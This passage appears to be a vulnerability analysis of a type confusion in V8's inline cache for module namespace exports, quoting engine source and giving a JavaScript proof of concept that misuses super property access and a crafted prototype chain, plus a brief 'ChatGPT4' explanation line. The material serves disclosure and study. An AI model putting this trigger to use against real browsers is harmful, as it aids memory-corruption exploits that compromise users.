// LdaNamedProperty <object> <name_index> <slot>
//
// Calls the LoadIC at FeedBackVector slot <slot> for <object> and the name at
// constant pool entry <name_index>.
IGNITION_HANDLER(LdaNamedProperty, InterpreterAssembler) {
TNode<HeapObject> feedback_vector = LoadFeedbackVector();
// Load receiver.
TNode<Object> recv = LoadRegisterAtOperandIndex(0);
// Load the name and context lazily.
LazyNode<TaggedIndex> lazy_slot = [=] {
return BytecodeOperandIdxTaggedIndex(2);
};
LazyNode<Name> lazy_name = [=] {
return CAST(LoadConstantPoolEntryAtOperandIndex(1));
};
LazyNode<Context> lazy_context = [=] { return GetContext(); };
Label done(this);
TVARIABLE(Object, var_result);
ExitPoint exit_point(this, &done, &var_result);
AccessorAssembler::LazyLoadICParameters params(lazy_context, recv, lazy_name,
lazy_slot, feedback_vector);
AccessorAssembler accessor_asm(state());
accessor_asm.LoadIC_BytecodeHandler(¶ms, &exit_point);
.....
}
void AccessorAssembler::LoadIC_BytecodeHandler(const LazyLoadICParameters* p,
ExitPoint* exit_point) {
Label stub_call(this, Label::kDeferred), miss(this, Label::kDeferred),
no_feedback(this, Label::kDeferred);
GotoIf(IsUndefined(p->vector()), &no_feedback);
TNode<Map> lookup_start_object_map =
LoadReceiverMap(p->receiver_and_lookup_start_object());
GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);
// Inlined fast path.
{
Comment("LoadIC_BytecodeHandler_fast");
TVARIABLE(MaybeObject, var_handler);
Label try_polymorphic(this), if_handler(this, &var_handler);
TNode<MaybeObject> feedback = TryMonomorphicCase(
p->slot(), CAST(p->vector()), lookup_start_object_map, &if_handler,
&var_handler, &try_polymorphic);
BIND(&if_handler);
HandleLoadICHandlerCase(p, CAST(var_handler.value()), &miss, exit_point);
BIND(&try_polymorphic);
{
TNode<HeapObject> strong_feedback =
GetHeapObjectIfStrong(feedback, &miss);
GotoIfNot(IsWeakFixedArrayMap(LoadMap(strong_feedback)), &stub_call);
HandlePolymorphicCase(lookup_start_object_map, CAST(strong_feedback),
&if_handler, &var_handler, &miss);
}
}
BIND(&stub_call);
{
Comment("LoadIC_BytecodeHandler_noninlined");
// Call into the stub that implements the non-inlined parts of LoadIC.
Callable ic = Builtins::CallableFor(isolate(), Builtin::kLoadIC_Noninlined);
TNode<Code> code_target = HeapConstant(ic.code());
exit_point->ReturnCallStub(ic.descriptor(), code_target, p->context(),
p->receiver_and_lookup_start_object(), p->name(),
p->slot(), p->vector());
}
BIND(&no_feedback);
{
Comment("LoadIC_BytecodeHandler_nofeedback");
// Call into the stub that implements the non-inlined parts of LoadIC.
exit_point->ReturnCallStub(
Builtins::CallableFor(isolate(), Builtin::kLoadIC_NoFeedback),
p->context(), p->receiver(), p->name(),
SmiConstant(FeedbackSlotKind::kLoadProperty));
}
BIND(&miss);
{
Comment("LoadIC_BytecodeHandler_miss");
exit_point->ReturnCallRuntime(Runtime::kLoadIC_Miss, p->context(),
p->receiver(), p->name(), p->slot(),
p->vector());
}
}
In ic.cc
:
Handle<Object> LoadIC::ComputeHandler(LookupIterator* lookup) {
// ... snip
switch (lookup->state()) {
// ...
case LookupIterator::ACCESSOR: {
Handle<JSObject> holder = lookup->GetHolder<JSObject>();
// Use simple field loads for some well-known callback properties.
// The method will only return true for absolute truths based on the
// lookup start object maps.
FieldIndex index;
// ...
if (holder->IsJSModuleNamespace()) {
Handle<ObjectHashTable> exports(
Handle<JSModuleNamespace>::cast(holder)->module().exports(),
isolate());
InternalIndex entry =
exports->FindEntry(isolate(), roots, lookup->name(),
Smi::ToInt(lookup->name()->GetHash()));
// We found the accessor, so the entry must exist.
DCHECK(entry.is_found());
int index = ObjectHashTable::EntryToValueIndex(entry);
return LoadHandler::LoadModuleExport(isolate(), index);
}
// ...
In handler-configuration-inl.h
:
Handle<Smi> LoadHandler::LoadModuleExport(Isolate* isolate, int index) {
int config =
KindBits::encode(kModuleExport) | ExportsIndexBits::encode(index);
return handle(Smi::FromInt(config), isolate);
}
And in accessor-assembler.cc
:
BIND(&module_export);
{
Comment("module export");
TNode<UintPtrT> index =
DecodeWord<LoadHandler::ExportsIndexBits>(handler_word);
TNode<Module> module = LoadObjectField<Module>(
CAST(p->receiver()), JSModuleNamespace::kModuleOffset);
TNode<ObjectHashTable> exports =
LoadObjectField<ObjectHashTable>(module, Module::kExportsOffset);
TNode<Cell> cell = CAST(LoadFixedArrayElement(exports, index));
// The handler is only installed for exports that exist.
TNode<Object> value = LoadCellValue(cell);
Label is_the_hole(this, Label::kDeferred);
GotoIf(IsTheHole(value), &is_the_hole);
exit_point->Return(value);
BIND(&is_the_hole);
{
TNode<Smi> message = SmiConstant(MessageTemplate::kNotDefined);
exit_point->ReturnCallRuntime(Runtime::kThrowReferenceError, p->context(),
message, p->name());
}
}
The flow for vulnerable code:
property index of holder
→ LoadModuleExport
→ LoadObjectField<Module>(p->receiver())
So there is a type confusion exists between holder
and receiver
.
export let bar = {}
import * as foo from "1.mjs"
function poc() {
class C {
m() {
return super.bar;
}
}
let zz = {aa: 1, bb: 2};
function trigger() {
C.prototype.__proto__ = zz;
C.prototype.__proto__.__proto__ = foo;
let c = new C();
c.x0 = 0x40404040 / 2;
c.x1 = 0x42424242 / 2;
c.x2 = 0x44444444 / 2;
c.x3 = 0x46464646 / 2;
c.x4 = 0x48484848 / 2;
let res = c.m();
}
for (let i = 0; i < 0x100; i++) {
trigger();
}
}
poc()
ChatGPT4:
This code snippet is attempting to exploit a type confusion bug by manipulating the prototype chain of objects to confuse V8's inline caching mechanism. Let's analyze the code to understand how receiver, holder, and lookup_start_object are used.